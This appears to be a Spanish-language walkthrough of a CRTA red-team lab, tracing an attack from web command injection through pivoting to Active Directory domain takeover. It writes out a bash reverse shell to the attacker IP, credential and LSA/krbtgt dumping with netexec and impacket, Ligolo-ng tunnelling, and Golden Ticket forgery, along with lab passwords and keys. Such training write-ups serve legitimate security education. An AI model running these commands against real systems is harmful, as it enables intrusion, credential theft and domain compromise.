(CRTA) Red Team Analyst - Lab

Scope

FIeld
Value

VPN IP Range

10.10.200.0/24

External IP Range

192.168.80.0/24

Internal IP Range

192.168.98.0/24

Escaneo de red

Primero se debe realizar un escaneo de red para averiguar que direcciones IPv4 pertenecen a esta, de este modo, las tendremos identificadas.

sudo nmap -sn 192.168.80.0/24 -oN direcciones_IP_red1.txt

A continuación procederemos a realizar un escaneo de puertos de cada dirección IPv4 de la red, para tal de ver que puertos tienen aviertos.

sudo nmap -sSVC -p- --min-rate 5000 -n -Pn 192.168.80.10 -vvv -oN escaneo_IP1.txt

Vemos que tiene una web corriendo por el puerto 80. Así que vamos a enumerarla.

Enumeración web (puerto 80)

Para tal de enumerarla, vamos a abrir la web en el navegador.

Vemos que se trata de un E-commerce. Tras no poder ver nada más, vamos a crearnos una cuenta para tal de poder enumerarlo desde dentro.

Vemos que hay un panel de búsqueda, podríamos intentar una SQLI. Pero no resulta exitosa. Pero vemos que nos pide un correo para la newsletter. Lo interceptaremos con burp y lo mandaremos al repeter.

Vemos que no parece nada, pero tras probar varios payloads, vemos que es vulnerable a un OS Command Execution.

Vemos que es vulnerable, ahora solo nos quedaría lanzar una reverse shell.

Intrusión

bash -c 'exec bash -i &>/dev/tcp/10.10.200.162/6969 <&1'
nc -lnvp 6969

Tras ver que se queda colgado, vamos a verificar que hemos recibido la petición.

El próximo paso será realizar un tratamiento de la TTY para tal de tener más comodidad.

Escalada de privilegios

Vemos que tenemos un archivo llamado config.php con credenciales de una base de datos.

cat config.php

A continuación nos meteremos en la base de datos para tal de enumerarla y sacar información.

mysql -u root -p
password: Web!@#$%

Tras enumerarla por completo no resulta exitoso. Decido enumerar el archivo /etc/passwd para ver si ha contenido sensible expuesto.

cat /etc/passwd | grep "/bin/bash"

Vemos que nos muestra una especie de contraseña para el usuario privilege. Vamos a iniciar sesión por ssh para tal de tener un terminal más cómodo.

ssh privilege@192.168.80.10

Vemos a ver si podemos elevar privilegios de sudo con este usuario.

sudo -l

Vemos que podemos ejecutar todo y elevar directamente nuestros privilegios a root.

sudo su

Extracción de datos sensibles

Tras estar enumerando el sistema, vemos que en el directerio /home/privilege/.mozilla/firefox/b2rri1qd.default-release hay archivos de bases de datos.

ls -la | grep "sqlite"

Tras estar enumerando todas las bases de datos he encontrado unas posibles credenciales de la máquina que debemos saltar.

sqlite places.sqlite
.tables
select * from moz_bookmarks;

Pivoting (Ligolo-ng)

Descarga de requerimentos

Agent file

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz

Proxy file

sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

Descomprimir y cambiar nombres

tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
tar -xvf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
sudo mv proxy lin-proxy
sudo mv agent lin-agent

Generación de interfaz de red para el tunneling

sudo ip tuntap add user cibaism mode tun ligolo
sudo ip link set ligolo up

Ejecutar el proxy en mi máquina local

./lin-proxy -selfcert -laddr 0.0.0.0:443

A continuación compartimos el agente a la máquina linux que hemos comprometido.

python3 -m http.server 80
wget http://10.10.200.162/lin-agent

A continuación le damos permisos de ejecución.

chmod +x lin-agent

Ejecutar el agente del proxy en la máquina comprometida

./lin-agent -connect 10.10.200.162:443 -ignore-cert

Ahora revisamos que se ha establecido la comunicación entre las dos máquinas.

En la máquina target, ejecutarmemos el siguiente comando para establecer un route entre redes.

ip route

A continuación en nuestra máquina ejecutaremos el siguiente comando.

sudo ip route add 192.168.98.0/24 dev ligolo
ip route

Escaneo de la segunda red

A continuación relizaremos un escaneo de la segunda red para tal de ver los endpoints que podemos atacar.

sudo nmap -sn 192.168.98.0/24 -oN direcciones_IP_red2.txt

Enumeración de la segunda red

A continuación identificamos guardamos todos los hosts en un archivo para tal de probar las credenciales encontradas en el archivo de base de datos.

netexec smb direcciones_ip_red2.txt -u 'john' -p 'User1@#$%6'

Podemos observer que la máquina 192.168.98.30 está corriendo un DC (Domain Controller) y que las credenciales son válidas. A continuación probaremos si podemos acceder por el protocolo winrm.

netexec winrm 192.168.98.30 -u 'john' -p 'User1@#$%6'

Vemos que las credenciales son válidas así que podemos acceder al sistema.

Intrusión del Domain Controller (DC de la red 2)

A continuación procederemos a autentificarnos.

evil-winrm -i 192.168.98.30 -u 'john' -p 'User1@#$%6'

Elevación de privilegios del DC

A continuación, extraeremos todos los usuarios que han iniciado sesión en el dominio y veremos si podemos extraer alguna de sus credenciales.

netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --loggedon-users

Vamos a ver si podemos dumear sus credenciales o su hash.

netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --lsa

Vemos que nos da unas credenciales. Vamos a verificar que las credenciales funcionan.

netexec smb 192.168.98.30 -u 'corpmngr' -p 'User4&*&*'

Observamos que no podemos ganarnos una shell con esta, pero es una máquina del domino. Por lo tanto vamos a averiguar a que máquina del dominio podemos acceder.

netexec smb direcciones_ip_red2.txt -u 'corpmngr' -p 'User4&*&*'

Vamos a ver si podemos dumear sus credenciales o su hash.

impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'

Ahora podemos extraer el SID.

impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.120
impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.2

Al obterner los SID, podemos relizar el atacke de Golden Ticket.

impacket-ticketer -domain child.warfaer.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119,S-1-5-9 'corpmngr'

A continuación, decararemos una variable de entorno con el archivo que a soltado.

export KRB5CCNAME=corpmngr.ccache

Finalmente realizaremos la elevación al DC.

getST.py -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug

Last updated